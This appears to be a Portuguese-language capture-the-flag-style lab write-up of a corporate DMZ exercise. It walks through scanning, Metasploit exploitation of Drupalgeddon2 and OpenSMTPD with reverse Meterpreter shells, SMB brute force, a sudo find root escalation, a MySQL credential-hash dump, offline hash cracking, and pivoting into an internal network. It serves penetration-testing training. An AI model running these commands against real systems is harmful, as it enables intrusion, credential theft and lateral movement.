~/labs/corporate-dmz-lab

Corporate DMZ Lab

mediumINE / eJPTv2TARGET/2445/45 flags
nmapdrupalmetasploitsmbftpwebshellprivescpivotmysqlopensmtpd

recon

nmapDescoberta de Hosts - varredura DMZ
nmap -sn 192.168.100.0/24 -oN hosts.txt
nmap -sS --min-rate 5000 -T4 --open -Pn -n 192.168.100.0/24
nmap -sCV -p21,22,25,80,139,445,3306,3389 -oN services.txt 192.168.100.50,51,52,55,63,67

# Hosts descobertos:
# 192.168.100.50 - WINSERVER-01 - Win 2012 R2 - Apache/WordPress, SMB, RDP, MySQL
# 192.168.100.51 - WINSERVER-02 - Win 2012 R2 - FTP, IIS/WebDAV, SMB, RDP
# 192.168.100.52 - LINUX-01     - Ubuntu 20.04 - FTP, SSH, SMTP, Apache/Drupal, SMB, MySQL, RDP
# 192.168.100.55 - WINSERVER-03 - Win 2019     - IIS, SMB, RDP
# 192.168.100.63 - EC2AMAZ-IK4QFED - Windows  - RDP
# 192.168.100.67 - LINUX-02     - Ubuntu       - SSH

enum

smbEnumeração SMB - enum4linux
enum4linux -a 192.168.100.52

# Política de senhas:
#   Tamanho mínimo: 5
#   Complexidade: DESATIVADA
#   Histórico: Nenhum
#   Bloqueio de conta: NENHUM

# Verificação de assinatura SMB
nmap -p445 --script smb-security-mode 192.168.100.50-52
# message_signing: disabled (F-09 - Médio)
webFingerprint versão Drupal - 192.168.100.52
curl http://192.168.100.52/drupal/CHANGELOG.txt
# Retorna: Drupal 7.57  →  CVE-2018-7600 (Drupalgeddon2) confirmado

# Verificação de métodos WebDAV - 192.168.100.51
curl -X OPTIONS http://192.168.100.51/ -v
# Allow: OPTIONS, TRACE, GET, HEAD, PUT, DELETE, MKCOL, LOCK, UNLOCK, PROPFIND
httpFTP Anônimo + webroot IIS - 192.168.100.51
ftp 192.168.100.51
# Usuário: anonymous / (sem senha)
# Arquivos encontrados:
#   cmdasp.aspx   ← web shell pré-instalada!
#   iisstart.htm
#   robots.txt.txt
#   aspnet_client/

# Web shell acessível em:
# http://192.168.100.51/cmdasp.aspx
# Contexto: IIS APPPOOL\DefaultAppPool
nmapDetecção OpenSMTPD - 192.168.100.52
nmap -sCV -p25 192.168.100.52
# 25/tcp open  smtp  OpenSMTPD (protocol 220)
# Banner: OpenSMTPD 2.0.0  →  CVE-2020-7247 confirmado

exploit

cmd[F-02 CRIT] WebShell via FTP Anônimo - 192.168.100.51
# Cadeia A - Caminho mais rápido (<5 min desde o recon)
# 1. FTP anônimo → encontrar cmdasp.aspx
# 2. Acessar http://192.168.100.51/cmdasp.aspx
# 3. Executar: whoami → iis apppool\defaultapppool

# Upgrade para Meterpreter:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.100.5
set LPORT 4444
run
cmd[F-01 CRIT] CVE-2018-7600 Drupalgeddon2 - 192.168.100.52
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.100.52
set TARGETURI /drupal/
set LHOST 192.168.100.5
run
# Resultado: sessão Meterpreter aberta como www-data
cmd[F-03 CRIT] CVE-2020-7247 OpenSMTPD RCE - 192.168.100.52
use exploit/unix/smtp/opensmtpd_mail_from_rce
set RHOSTS 192.168.100.52
set LHOST 192.168.100.5
run
# SMTP porta 25 - vetor alternativo ao Drupalgeddon2
smb[F-04 HIGH] Força Bruta SMB - 192.168.100.55
# crackmapexec
crackmapexec smb 192.168.100.55 -u userlist.txt -p rockyou.txt

# Metasploit
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.100.55
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
run
# Sem política de bloqueio → tentativas ilimitadas

post-exp

cmd[F-05 HIGH] Escalação de privilégio via sudo find - 192.168.100.52
# Verificar permissões sudo a partir do shell www-data
sudo -l
# (root) NOPASSWD: /usr/bin/find

# Escalar para root
sudo find . -exec /bin/bash \; -quit
whoami
# root

# Fazer upgrade do shell antes, se necessário:
python3 -c 'import pty; pty.spawn("/bin/bash")'
cmd[F-06 HIGH] MySQL exposto - dump de credenciais Drupal
# Ler credenciais do banco via config do Drupal (como www-data)
cat /var/www/html/drupal/sites/default/settings.php
# database / username / password → credenciais do banco

# Conectar remotamente (ou via shell)
mysql -h 192.168.100.52 -u drupal -p
USE drupal;
SELECT name, pass, mail FROM users;
# 4 contas: admin, auditor, dbadmin, vincenzo
# Hashes: SHA-512 (formato Drupal)
cmdPivot - Rede interna via Meterpreter
# Confirmar host dual-homed
ip addr
# eth1: 172.21.x.x  ← interface da rede interna

# Adicionar rota no Metasploit
run post/multi/manage/autoroute SUBNET=172.21.0.0 NETMASK=255.255.0.0

# Proxy SOCKS
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j

# Varrer rede interna via pivot
proxychains nmap -sT -Pn 192.168.1.0/24
# Porta 10000 (Webmin) encontrada nos hosts internos

creds

credCredenciais obtidas
# Força bruta SMB - WINSERVER-03
serviço: SMB/RDP
host: 192.168.100.55
usuário: [via crackmapexec]
senha: [via rockyou.txt]

# MySQL / Drupal DB
host: 192.168.100.52
serviço: MySQL
usuário: drupal
senha: [em settings.php]

# Hashes dos usuários Drupal (SHA-512)
admin@syntex.com
auditor@syntex.com
dbadmin@syntex.com
vincenzo@syntext.com

# Quebrar offline:
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=drupal7
hashcat -m 7900 hashes.txt rockyou.txt

flags

flagFindings por severidade
[CRÍTICO]  F-01 CVE-2018-7600 Drupalgeddon2 - 192.168.100.52 - CVSS 9.8
[CRÍTICO]  F-02 WebShell via FTP Anônimo - 192.168.100.51 - CVSS 9.8
[CRÍTICO]  F-03 CVE-2020-7247 OpenSMTPD RCE - 192.168.100.52 - CVSS 9.8
[ALTO]     F-04 Força Bruta SMB / Política fraca - 192.168.100.55 - CVSS 8.1
[ALTO]     F-05 Escalação via sudo find - 192.168.100.52 - CVSS 7.8
[ALTO]     F-06 MySQL exposto + credenciais fracas - 192.168.100.52 - CVSS 7.5
[MÉDIO]    F-07 FTP anônimo com acesso ao webroot - 192.168.100.51 - CVSS 6.5
[MÉDIO]    F-08 WebDAV com métodos perigosos - 192.168.100.51 - CVSS 6.5
[MÉDIO]    F-09 SMB Signing desativado - .50/.51/.52 - CVSS 5.9
[MÉDIO]    F-10 Directory Listing IIS ativado - 192.168.100.51 - CVSS 5.3
[BAIXO]    F-11 FTP anônimo - divulgação de informações - 192.168.100.52 - CVSS 4.3
[INFO]     F-12 Drupal 7.57 desatualizado
[INFO]     F-13 OpenSMTPD desatualizado

notes

noteResumo das cadeias de ataque
Cadeia A - WINSERVER-02 (<5 min)
  FTP anônimo → cmdasp.aspx → RCE no SO → Meterpreter

Cadeia B - Comprometimento total do LINUX-01
  Drupalgeddon2 → shell www-data → sudo find → root
  → settings.php → MySQL → hashes SHA-512 → crack → SSH

Cadeia C - Pivot para rede interna
  root@192.168.100.52 → ip addr eth1:172.21.x.x
  → autoroute + SOCKS5 → proxychains nmap 192.168.1.0/24
  → Webmin (porta 10000) → rede interna comprometida

MITRE ATT&CK:
  T1190     Exploit de aplicação exposta
  T1505.003 Web Shell
  T1110.003 Pulverização de senhas
  T1003     Dump de credenciais
  T1548.003 Abuso de Sudo
  T1090.003 Proxy multi-salto (Pivot)
  T1046     Descoberta de serviços de rede